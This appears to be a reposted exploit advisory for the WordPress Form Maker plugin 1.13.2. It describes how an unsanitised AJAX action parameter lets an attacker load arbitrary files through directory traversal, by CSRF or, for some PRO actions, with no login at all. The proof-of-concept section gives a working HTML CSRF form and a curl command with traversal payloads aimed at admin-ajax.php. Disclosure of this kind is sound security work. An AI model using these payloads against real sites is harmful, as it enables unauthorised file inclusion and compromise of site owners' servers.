• WordPress Plugin Form Maker [CSRF → LFI] vulnerable 2019-03-17


    # Title: Form Maker by WD [CSRF → LFI]
    # Date: 2019-03-17
    # Exploit Author: Panagiotis Vagenas
    # Vendor Homepage: http://web-dorado.com/
    # Software Link: https://wordpress.org/plugins/form-maker
    # Version: 1.13.2
    # Tested on: WordPress 5.1

    Description
    -----------

    Plugin implements the following AJAX actions:

    - `generete_csv`
    - `generete_xml`
    - `formmakerwdcaptcha`
    - `formmakerwdmathcaptcha`
    - `product_option`
    - `FormMakerEditCountryinPopup`
    - `FormMakerMapEditinPopup`
    - `FormMakerIpinfoinPopup`
    - `show_matrix`
    - `FormMakerSubmits`
    - `FormMakerSQLMapping`
    - `select_data_from_db`
    - `manage_fm`
    - `FMShortocde`

    All of them call the function `form_maker_ajax`. This function
    dynamicaly loads a file defined in `$_GET['action']` or
    `$_POST['action']` if the former is not defined. Because of the way
    WordPress defines the AJAX action a user could define the plugin action
    in the `$_GET['action']` and AJAX action in `$_POST['action']`.
    Leveraging that and the fact that no sanitization is performed on the
    `$_GET['action']`, a malicious actor can perform a CSRF attack to load a
    file using directory traversal thus leading to Local File Inclusion
    vulnerability.

    Plugin also registers the following AJAX actions:

    - `paypal_info`
    - `checkpaypal`

    Those seems like the are only available to PRO version users, yet they
    also are vulnerable to this attack.

    Additionally the following AJAX actions are registered in PRO version:

    - `get_frontend_stats`
    - `frontend_show_map`
    - `frontend_show_matrix`
    - `frontend_paypal_info`
    - `frontend_generate_csv`
    - `frontend_generate_xml`

    Those have the function `form_maker_ajax_frontend` as a callback. All of
    them are vulnerable to the aforementioned attack. What's more
    interesting about those is the fact that are available to non-registered
    users also, making this attack directly exploitable, without using a
    CSRF attack. In this case the vulnerable param is `$_REQUEST['page']`.

    ------

    PoC
    ### Using a CSRF attack

    ```HTML

     <form method="post"
     action="http://wp-plugin-csrf.dev/wp-admin/admin-ajax.php?action=/../../../../../index">
         <label>AJAX action:
             <select name="action">
                 <optgroup label="Free version">
                    <option value="generete_csv">generete_csv</option>
                    <option value="generete_xml">generete_xml</option>
                    <option value="formmakerwdcaptcha">formmakerwdcaptcha</option>
                    <option value="formmakerwdmathcaptcha">formmakerwdmathcaptcha</option>
                     <option value="product_option">product_option</option>
                     <option value="FormMakerEditCountryinPopup">FormMakerEditCountryinPopup</option> 
                     <option value="FormMakerMapEditinPopup">FormMakerMapEditinPopup</option>
                     <option value="FormMakerIpinfoinPopup">FormMakerIpinfoinPopup</option>
                     <option value="show_matrix">show_matrix</option>
                     <option value="FormMakerSubmits">FormMakerSubmits</option>
                     <option value="FormMakerSQLMapping">FormMakerSQLMapping</option>
                     <option value="select_data_from_db">select_data_from_db</option>
                     <option value="manage_fm">manage_fm</option>
                     <option value="FMShortocde">FMShortocde</option>
                 </optgroup>
                 <optgroup label="Pro Version">
                     <option value="paypal_info">paypal_info</option>
                     <option value="checkpaypal">checkpaypal</option>
                     <option value="get_frontend_stats">get_frontend_stats</option>
                     <option value="frontend_show_map">frontend_show_map</option>
                     <option value="frontend_show_matrix">frontend_show_matrix</option>
                     <option value="frontend_paypal_info">frontend_paypal_info</option>
                     <option value="frontend_generate_csv">frontend_generate_csv</option>
                     <option value="frontend_generate_xml">frontend_generate_xml</option>
                 </optgroup>
             </select>
         </label>
         <button type="submit" value="Submit">Submit</button>
     </form>

    ```

    ### Without leveraging the CSRF vulnerability
    ```sh

    curl 'http://wp-plugin-csrf.dev/wp-admin/admin-ajax.php'  -d 'action=get_frontend_stats&page=/../../../../../index'

    ```

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  • 原文地址:https://www.cnblogs.com/iAmSoScArEd/p/10684132.html
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